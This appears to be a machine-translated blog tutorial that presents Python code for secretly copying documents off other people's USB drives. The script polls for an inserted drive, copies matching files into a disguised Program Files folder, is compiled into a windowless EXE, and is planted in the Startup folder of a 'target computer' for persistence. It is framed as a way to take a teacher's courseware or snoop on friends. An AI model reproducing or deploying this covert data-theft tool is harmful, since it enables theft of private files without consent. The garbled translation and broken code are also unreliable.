When the teacher finished his lecture, have you ever thought that if you put the courseware in his USB flash drive (da; An) it would be nice to copy it all; Do you want to see what’s on your friend’s usb flash drive when he uses your computer?

Write a few lines of code with Python, convert it to an EXE, run it in the background, automatically scan, copy and, well, all in one go.

My roommate is using this kind of operation to my treasure for a long time of small movies to steal, no wonder growing thinner!

1, the code

import os

import shutil

import datetime

import time

Usb_path = ‘G:\\’ # Insert the drive letter of the USB disk and modify it yourself

Save_path = ‘C:\ Program Files\\Common Files\\Usb Files\\’ # Save location, hidden point, modify yourself

Extension_list = [‘ TXT ‘, ‘PDF’, ‘the WPS’, ‘doc’, ‘like’, ‘powerpoint’, ‘docx’, ‘XLSX’, ‘PPTX] # you want to copy what data, modification on its own

While True: # Scan whether the USB flash drive is inserted every 20 seconds

If os.path.exists(usb_path): # A USB disk is inserted

file_list = []

For root, dirs, files in os.walk(usb_path)

for filename in files:

If filename[-3:] in extension_list or filename[-4:] in extension_list: # matches the extension

File_list.append (os.path.join(root, filename)) # Get the absolute path to the file you need

for file in file_list:

Save_dir = datetime.datetime.now().strftime(‘%Y%m%d_%H_% m ‘) # Create a new folder based on the date and time

File_dir = os.path.dirname(file)[3:] # The recursion directory where the file is located in the USB disk

File_path = os.path.join(save_path, save_dir, file_dir) # Complete path to the specific location where the file is saved

if not os.path.exists(file_path):

os.makedirs(file_path)

Shutil. copy(file, file_path)

Break # Exit after replication is complete

else:

Time.sleep (20) # Scan the USB flash drive every 20 seconds

2, to exe

Pyinstaller -f -w ‘path’ # path is the absolute path to your.py file

1

3, run

Copy the generated exe program to a hidden location on the target computer:

(1) Double-click, it will run in the background until the USB disk is inserted……

(2) Put the EXE in the “start” folder, so that every time the computer will automatically run background, copy.

Finally, this article is only for personal study, research purposes, prohibited for other commercial purposes, otherwise will be investigated legal responsibility!

Recently, many friends have sent messages to ask about learning Python. For easy communication, click on blue to join the discussion and answer resource base